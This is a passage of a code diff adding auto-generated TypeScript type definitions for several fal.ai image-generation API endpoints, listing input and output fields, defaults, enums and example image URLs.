0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description The negative prompt for the generation. + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If true, describe the style image with a VLM and add the description to the prompt. + * @default true + * @type boolean | undefined + */ + use_style_description?: boolean +} + +export type ImageFileBa04860E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiTelestyleV2 = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The stylized image(s). + * @example [{"height":1024,"content_type":"image/png","width":1024,"url":"https://v3.fal.media/files/zebra/mMW8_S5PeGuDXLTfIKCpG.png"}] + * @type array + */ + images: ImageFileBa04860E[] + /** + * @description Whether the generated image contains NSFW concepts. + * @example [false] + * @type array | undefined + */ + has_nsfw_concepts?: boolean[] + /** + * @description The prompt derived from the content and style images. + * @default '' + * @type string | undefined + */ + prompt?: string +} + +export type ImageSizeC06A90C5 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiUsoOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiUsoOutputFormatEnumKey = + (typeof inputFalAiUsoOutputFormatEnum)[keyof typeof inputFalAiUsoOutputFormatEnum] + +export const inputFalAiUsoImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiUsoImageSizeKey = + (typeof inputFalAiUsoImageSize)[keyof typeof inputFalAiUsoImageSize] + +export type InputFalAiUso = { + /** + * @description Random seed for reproducible generation. Use same seed for consistent results. + */ + seed?: number | null + /** + * @description Number of denoising steps. More steps can improve quality but increase generation time. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Output image format. PNG preserves transparency, JPEG is smaller. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiUsoOutputFormatEnumKey + /** + * @description How closely to follow the prompt. Higher values stick closer to the prompt. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeC06A90C5 | InputFalAiUsoImageSizeKey + /** + * @description Text prompt for generation. Can be empty for pure style transfer. + * @default '' + * @example A handsome man. + * @type string | undefined + */ + prompt?: string + /** + * @description Enable NSFW content detection and filtering. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description What you don't want in the image. Use it to exclude unwanted elements, styles, or artifacts. + * @default '' + * @example blurry, low quality, distorted, ugly, bad anatomy + * @example cartoon, anime, illustration + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Number of images to generate in parallel. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description List of image URLs in order: [content_image, style_image, extra_style_image]. + * @example ["https://storage.googleapis.com/falserverless/USO/style3.webp","https://storage.googleapis.com/falserverless/USO/style4.webp"] + * @type array + */ + input_image_urls: string[] + /** + * @description Preserve the layout and dimensions of the input content image. Useful for style transfer. + * @default false + * @type boolean | undefined + */ + keep_size?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image08914106 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiUso = { + /** + * @description Seed used for generation + * @type integer + */ + seed: number + /** + * @description Performance timings for different stages + * @type object + */ + timings: object + /** + * @description The generated images with applied style and/or subject customization + * @example [{"width":1024,"height":1024,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/USO/G6n97WN0goYpXPeiHaBnP.png"}] + * @type array + */ + images: Image08914106[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string + /** + * @description NSFW detection results for each generated image + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export const inputFalAiViduQ2ReferenceToImageAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ2ReferenceToImageAspectRatioEnumKey = + (typeof inputFalAiViduQ2ReferenceToImageAspectRatioEnum)[keyof typeof inputFalAiViduQ2ReferenceToImageAspectRatioEnum] + +export type InputFalAiViduQ2ReferenceToImage = { + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example The little devil is looking at the apple on the beach and walking around it. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduQ2ReferenceToImageAspectRatioEnumKey + /** + * @description URLs of the reference images to use for consistent subject appearance + * @example ["https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference1.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference2.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference3.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageDab49C93 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ2ReferenceToImage = { + /** + * @description The edited image + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/general-1-2025-09-09T10_20_19Z.png"} + * @type object + */ + image: ImageDab49C93 +} + +export const inputFalAiViduQ2TextToImageAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ2TextToImageAspectRatioEnumKey = + (typeof inputFalAiViduQ2TextToImageAspectRatioEnum)[keyof typeof inputFalAiViduQ2TextToImageAspectRatioEnum] + +export type InputFalAiViduQ2TextToImage = { + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example A majestic dragon perches on the mountaintop, its eyes fixed intently on a small baby dragon. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduQ2TextToImageAspectRatioEnumKey + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA6297587 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ2TextToImage = { + /** + * @description The edited image + * @example {"url":"https://storage.googleapis.com/falserverless/videos/general-1-2025-12-02T14_55_54Z.png"} + * @type object + */ + image: ImageA6297587 +} + +export const inputFalAiViduReferenceToImageAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiViduReferenceToImageAspectRatioEnumKey = + (typeof inputFalAiViduReferenceToImageAspectRatioEnum)[keyof typeof inputFalAiViduReferenceToImageAspectRatioEnum] + +export type InputFalAiViduReferenceToImage = { + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example The little devil is looking at the apple on the beach and walking around it. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduReferenceToImageAspectRatioEnumKey + /** + * @description URLs of the reference images to use for consistent subject appearance + * @example ["https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference1.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference2.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference3.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image2E3E7609 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduReferenceToImage = { + /** + * @description The edited image + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/general-1-2025-09-09T10_20_19Z.png"} + * @type object + */ + image: Image2E3E7609 +} + +export type ImageSize801F1B05 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiWan25PreviewImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWan25PreviewImageToImageImageSizeKey = + (typeof inputFalAiWan25PreviewImageToImageImageSize)[keyof typeof inputFalAiWan25PreviewImageToImageImageSize] + +/** + * @description Input for image editing + * @type object + */ +export type InputFalAiWan25PreviewImageToImage = { + /** + * @description Number of images to generate. Values from 1 to 4. + * @minimum 1 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The text prompt describing how to edit the image. Max 2000 characters. + * @minLength 1 + * @example Reimagine the scene under a raging thunderstorm at night: lightning forks across the sky, illuminating the samurai in stark flashes of white light. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description The size of the generated image. Width and height must be between 384 and 1440 pixels. + * @default square + * @example square + * @example landscape_16_9 + * @example portrait_16_9 + * @example {"height":1280,"width":1280} + */ + image_size?: + | ImageSize801F1B05 + | InputFalAiWan25PreviewImageToImageImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URLs of images to edit. For single-image editing, provide 1 URL. For multi-reference generation, provide up to 2 URLs. If more than 2 URLs are provided, only the first 2 will be used. + * @example ["https://v3.fal.media/files/penguin/4VZ7I1ZK5XNv33LV2JBxg.png"] + * @type array + */ + image_urls: string[] + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null +} + +export type ImageFile58970De1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Output for image editing + * @type object + */ +export type OutputFalAiWan25PreviewImageToImage = { + /** + * @description The edited images + * @example [{"url":"https://v3.fal.media/files/rabbit/BM4J8xpV5ogtOQE9xGtft.png","content_type":"image/png"}] + * @type array + */ + images: ImageFile58970De1[] + /** + * @description The seeds used for each generated image + * @example [175932751] + * @type array + */ + seeds: number[] + /** + * @description The original prompt (prompt expansion is not available for image editing) + * @example Reimagine the scene under a raging thunderstorm at night: lightning forks across the sky, illuminating the samurai in stark flashes of white light. + */ + actual_prompt?: string | null +} + +export type ImageSizeA5F66A19 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiWan25PreviewTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWan25PreviewTextToImageImageSizeKey = + (typeof inputFalAiWan25PreviewTextToImageImageSize)[keyof typeof inputFalAiWan25PreviewTextToImageImageSize] + +/** + * @description Input for text-to-image generation + * @type object + */ +export type InputFalAiWan25PreviewTextToImage = { + /** + * @description Number of images to generate. Values from 1 to 4. + * @minimum 1 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt for image generation. Supports Chinese and English, max 2000 characters. + * @minLength 1 + * @example A lone samurai standing on the edge of a cliff at twilight, overlooking a vast valley shrouded in mist. The sky burns with deep orange and purple hues from the setting sun, casting long, dramatic shadows. The samurai’s silhouette glows against the horizon, with their sword reflecting a glint of fading light. The overall style is hyper-realistic, cinematic, and moody, with dramatic contrast and atmospheric depth. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description The size of the generated image. Can use preset names like 'square', 'landscape_16_9', etc., or specific dimensions. Total pixels must be between 768×768 and 1440×1440, with aspect ratio between [1:4, 4:1]. + * @default square + * @example square + * @example landscape_16_9 + * @example portrait_16_9 + * @example {"height":1280,"width":1280} + */ + image_size?: ImageSizeA5F66A19 | InputFalAiWan25PreviewTextToImageImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to enable prompt rewriting using LLM. Improves results for short prompts but increases processing time. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null +} + +export type ImageFile46B8Ca6D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Output for text-to-image generation + * @type object + */ +export type OutputFalAiWan25PreviewTextToImage = { + /** + * @description The generated images + * @example [{"url":"https://v3.fal.media/files/penguin/4VZ7I1ZK5XNv33LV2JBxg.png","content_type":"image/png"}] + * @type array + */ + images: ImageFile46B8Ca6D[] + /** + * @description The seeds used for each generated image + * @example [175932751] + * @type array + */ + seeds: number[] + /** + * @description The actual prompt used if prompt rewriting was enabled + * @example A lone samurai standing on the edge of a cliff at twilight, overlooking a vast valley shrouded in mist. The sky burns with deep orange and purple hues from the setting sun, casting long, dramatic shadows. The samurai’s silhouette glows against the horizon, with their sword reflecting a glint of fading light. The overall style is hyper-realistic, cinematic, and moody, with dramatic contrast and atmospheric depth. + */ + actual_prompt?: string | null +} + +export type ImageSize0278F08B = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiWanV225BTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWanV225BTextToImageImageSizeKey = + (typeof inputFalAiWanV225BTextToImageImageSize)[keyof typeof inputFalAiWanV225BTextToImageImageSize] + +export const inputFalAiWanV225BTextToImageImageFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputFalAiWanV225BTextToImageImageFormatEnumKey = + (typeof inputFalAiWanV225BTextToImageImageFormatEnum)[keyof typeof inputFalAiWanV225BTextToImageImageFormatEnum] + +export type InputFalAiWanV225BTextToImage = { + /** + * @description The size of the generated image. + * @default square_hd + * @example square_hd + */ + image_size?: ImageSize0278F08B | InputFalAiWanV225BTextToImageImageSizeKey + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description The format of the output image. + * @default 'jpeg' + * @example jpeg + * @type string | undefined + */ + image_format?: InputFalAiWanV225BTextToImageImageFormatEnumKey + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Shift value for the image. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 2 + * @example 2 + * @type number | undefined + */ + shift?: number + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 40 + * @example 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide image generation. + * @example In this breathtaking wildlife documentary, we are drawn into an intimate close-up of a majestic lion's face, framed against the backdrop of a vast African savannah at dawn. The camera captures the raw power and nobility of the creature as it gazes intently into the distance, its golden-brown fur glistening under the soft, diffused light that bathes the scene in an ethereal glow. Harsh shadows dance across its features, accentuating the deep wrinkles around its eyes and the rugged texture of its fur, each strand a testament to its age and wisdom. The static camera angle invites viewers to immerse themselves in this moment of profound stillness, where the lion's intense focus hints at an unseen presence or a distant threat. As the sun ascends, the landscape transforms into a symphony of warm hues, enhancing the serene yet tense atmosphere that envelops this extraordinary encounter with nature's untamed beauty. + * @type string + */ + prompt: string +} + +export type File8C19Aafd = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV225BTextToImage = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated image file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan/small-t2i-output-2.png"} + * @type object + */ + image: File8C19Aafd +} + +export type ImageSizeBd563Cce = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiWanV22A14BImageToImageAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV22A14BImageToImageAspectRatioEnumKey = + (typeof inputFalAiWanV22A14BImageToImageAspectRatioEnum)[keyof typeof inputFalAiWanV22A14BImageToImageAspectRatioEnum] + +export const inputFalAiWanV22A14BImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BImageToImageAccelerationEnumKey = + (typeof inputFalAiWanV22A14BImageToImageAccelerationEnum)[keyof typeof inputFalAiWanV22A14BImageToImageAccelerationEnum] + +export const inputFalAiWanV22A14BImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWanV22A14BImageToImageImageSizeKey = + (typeof inputFalAiWanV22A14BImageToImageImageSize)[keyof typeof inputFalAiWanV22A14BImageToImageImageSize] + +export const inputFalAiWanV22A14BImageToImageImageFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputFalAiWanV22A14BImageToImageImageFormatEnumKey = + (typeof inputFalAiWanV22A14BImageToImageImageFormatEnum)[keyof typeof inputFalAiWanV22A14BImageToImageImageFormatEnum] + +export type InputFalAiWanV22A14BImageToImage = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Aspect ratio of the generated image. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV22A14BImageToImageAspectRatioEnumKey + /** + * @description URL of the input image. + * @example https://storage.googleapis.com/falserverless/example_inputs/wan-image-to-image-input.png + * @type string + */ + image_url: string + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BImageToImageAccelerationEnumKey + /** + * @minimum 1 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + shift?: number + image_size?: + | ImageSizeBd563Cce + | InputFalAiWanV22A14BImageToImageImageSizeKey + | null + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide image generation. + * @example A cinematic shot of an ancient city at sunset, intricate stone buildings, warm golden light + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Denoising strength. 1.0 = fully remake; 0.0 = preserve original. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + strength?: number + /** + * @description Guidance scale for the second stage of the model. This is used to control the adherence to the prompt in the second stage of the model. + * @minimum 1 + * @maximum 10 + * @default 4 + * @example 4 + * @type number | undefined + */ + guidance_scale_2?: number + /** + * @description The format of the output image. + * @default 'jpeg' + * @example jpeg + * @type string | undefined + */ + image_format?: InputFalAiWanV22A14BImageToImageImageFormatEnumKey + /** + * @description Classifier-free guidance scale. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type File44D1B758 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BImageToImage = { + /** + * @description The text prompt used for image generation. + * @default '' + * @example A cinematic portrait of a woman in natural light, 85mm look. + * @type string | undefined + */ + prompt?: string + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated image file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-image-to-image-output.png"} + * @type object + */ + image: File44D1B758 +} + +export type ImageSize9Fee0De8 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiWanV22A14BTextToImageAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BTextToImageAccelerationEnumKey = + (typeof inputFalAiWanV22A14BTextToImageAccelerationEnum)[keyof typeof inputFalAiWanV22A14BTextToImageAccelerationEnum] + +export const inputFalAiWanV22A14BTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiWanV22A14BTextToImageImageSizeKey = + (typeof inputFalAiWanV22A14BTextToImageImageSize)[keyof typeof inputFalAiWanV22A14BTextToImageImageSize] + +export type InputFalAiWanV22A14BTextToImage = { + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BTextToImageAccelerationEnumKey + /** + * @description Shift value for the image. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 2 + * @example 2 + * @type number | undefined + */ + shift?: number + /** + * @description The size of the generated image. + * @default square_hd + * @example square_hd + */ + image_size?: ImageSize9Fee0De8 | InputFalAiWanV22A14BTextToImageImageSizeKey + /** + * @description Guidance scale for the second stage of the model. This is used to control the adherence to the prompt in the second stage of the model. + * @minimum 1 + * @maximum 10 + * @default 4 + * @example 4 + * @type number | undefined + */ + guidance_scale_2?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide image generation. + * @example In this breathtaking wildlife documentary, we are drawn into an intimate close-up of a majestic lion's face, framed against the backdrop of a vast African savannah at dawn. The camera captures the raw power and nobility of the creature as it gazes intently into the distance, its golden-brown fur glistening under the soft, diffused light that bathes the scene in an ethereal glow. Harsh shadows dance across its features, accentuating the deep wrinkles around its eyes and the rugged texture of its fur, each strand a testament to its age and wisdom. The static camera angle invites viewers to immerse themselves in this moment of profound stillness, where the lion's intense focus hints at an unseen presence or a distant threat. As the sun ascends, the landscape transforms into a symphony of warm hues, enhancing the serene yet tense atmosphere that envelops this extraordinary encounter with nature's untamed beauty. + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type File8717Baaa = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BTextToImage = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated image file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan/t2i-output.png"} + * @type object + */ + image: File8717Baaa +} + +export type ImageSizeB3435297 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | 